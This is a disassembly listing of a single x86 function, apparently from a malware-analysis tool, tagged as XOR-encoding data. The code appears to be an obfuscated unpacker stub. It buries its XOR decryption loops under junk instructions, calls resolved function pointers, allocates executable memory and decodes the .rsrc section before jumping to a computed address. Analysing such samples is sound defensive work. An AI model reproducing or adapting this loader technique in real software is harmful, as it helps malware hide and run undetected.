Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xaddc1889
and ebx, eax
sub eax, 0xa34f9419
sub eax, 0xf5829cc
popal
add eax, 0xcda1d2bc
add ebx, 0xdc136069
or ebx, ebx
mov edi, 0
mov eax, ecx
add ebx, 0xba8ddd05
and ebx, edx
mov esi, eax
sub edx, ebx
mov ebx, edx
sub edx, ebx
mov ecx, esi
not edx
mov edx, ebx
add edi, 1
mov edx, ebx
and ebx, ebx
cmp edi, 0x100020f
jne 0xa789d4
dec ebx
dec edx
add ebx, ebx
add eax, ebx
dec eax
and ebx, eax
mov ecx, 0xa78796
and ebx, eax
sub edi, eax
add eax, edi
mov esi, 0xa7898a
add eax, 0xa64c241
inc eax
mov edx, dword [ecx]
mov ebx, edi
inc edi
and edx, 0xff
inc edi
add edi, edi
xor dword [esi], edx
inc ebx
mov edi, 0x7a8631a3
not eax
inc esi
add ebx, eax
sub ebx, 1
inc ecx
add ebx, 0x84dd388a
add eax, 0x8b60452c
sub ebx, eax
cmp esi, entry0
jl 0xa78a22
not ebx
mov eax, edi
inc ebx
sub edi, 0x65fb7e9e
sub ebx, 0xdcdf9695
add eax, eax
sub edi, ecx
not esi
mov ebx, 0xa7898e
not esi
inc esi
mov ebx, dword [ebx]
sub ecx, edi
not esi
mov ebx, dword [ebx]
sub edx, 0xc7a10413
mov edx, 0x3e78b740
not edx
push ebx
sub edi, esi
dec edi
mov ebx, 0xa7898a
inc edx
add esi, edx
and esi, esi
mov ebx, dword [ebx]
and edi, esi
sub edi, edx
mov ebx, dword [ebx]
add ecx, 0x1e836b
add edx, 0xd14b83c7
mov esi, 0xb2988297
push 0xa78992
add edx, 0x55ccc082
not esi
call ebx
dec edi
sub ecx, edi
sub edx, esi
pop ebx
dec esi
not ecx
push 0xa7899f
dec esi
add ecx, edi
sub ecx, 0xba79cb9a
push eax
mov esi, 0xbedc9fd3
inc esi
dec esi
call ebx
and ecx, edi
add esi, 0x6bf5f9bc
add ecx, 0x7ace781f
push 0x40
sub esi, edi
not ecx
sub esp, 4
mov dword [esp], 0x3000
sub edi, 0x5bfa5440
mov esi, 0xc16f949a
dec esi
sub esp, 4
mov dword [esp], 0x20000b57
sub esi, edi
or edx, esi
mov edi, esi
push 0
not ecx
add edx, 0xe5281efd
add esi, 0xf24615c3
call eax
add esi, 0xe9cda84a
add edx, ecx
inc esi
add eax, 0x20000abd
add ecx, 0xd9aa8395
mov esi, 0xf7166eaf
mov ebx, 0x71fd9bf
add edi, edx
add ecx, ecx
sub esi, 0x6ecf81d2
mov dword [eax], ebx
sub edi, 1
and edi, edi
inc ecx
mov ebx, dword [eax]
sub esi, ecx
mov esi, edi
sub ecx, 1
cmp ebx, 0x71fd9bf
je 0xa78b8a
mov eax, 0
mov ebx, dword [eax]
mov edi, 0x7f49856e
mov edx, 0xdbca75df
mov ecx, esi
mov edx, edi
mov eax, 0x5d72ffde
add eax, eax
mov eax, 0xf711568c
mov esi, section..rsrc
or eax, eax
add ebx, 0x5fd86565
mov edi, 0xa78795
add ebx, ebx
dec ebx
sub eax, 0xf8aae6bc
mov edx, 0
mov eax, 0x7e3aa4d0
inc ebx
not eax
mov ecx, 0xa78796
add ebx, 0xcd7f6cdc
and eax, ebx
sub ebx, 0xfd484136
lea ecx, [ecx + edx]
mov eax, ebx
dec eax
mov ecx, dword [ecx]
and ebx, eax
inc ebx
dec eax
and ecx, 0xff
mov eax, ebx
add ebx, 0xbcfa9bae
inc edx
sub eax, ebx
sub eax, 0xcd2595c2
dec eax
cmp edx, 0x1f4
jne 0xa78c10
mov edx, 0
sub ebx, 0x4c5f0edf
add eax, eax
mov ebx, 0xb821e12e
not ebx
not eax
add ebx, ebx
xor dword [esi], ecx
sub ebx, 0xd90c3c6f
add ebx, 0x2784ccac
dec eax
add esi, 2
sub ebx, 0xa13712a2
add ebx, eax
cmp esi, edi
jl 0xa78bcc
and eax, eax
add eax, 1
mov ebx, 0x58de90b1
inc eax
sub eax, 0x5665cdd0
mov edi, section..rsrc
sub ebx, 0x60e0e43d
add edx, ebx
mov esi, section..rsrc
or edx, edx
sub ebx, 0x9d25cf4
mov ecx, 0xa78795
or edx, ebx
mov ebx, 0x69a58b98
add ebx, ebx
mov eax, 0
mov ebx, 0x728ff8ad
add edx, 1
or edx, edx
mov al, byte [esi]
sub ebx, 0xfc45e70a
dec edx
not ebx
mov byte [edi], al
add edx, 0x161ed09d
add edx, 1
add edx, edx
inc edi
not edx
add edx, 0x794945b5
and edx, ebx
add esi, 2
add edx, ebx
mov ebx, edx
cmp esi, ecx
jle 0xa78c96
sub edx, 1
add edx, 1
or ebx, edx
not eax
add ebx, 0x12675468
sub esp, 4
mov dword [esp], 0x8dc6a0
inc ebx
add ebx, eax
add ebx, 0x22f076f8
ret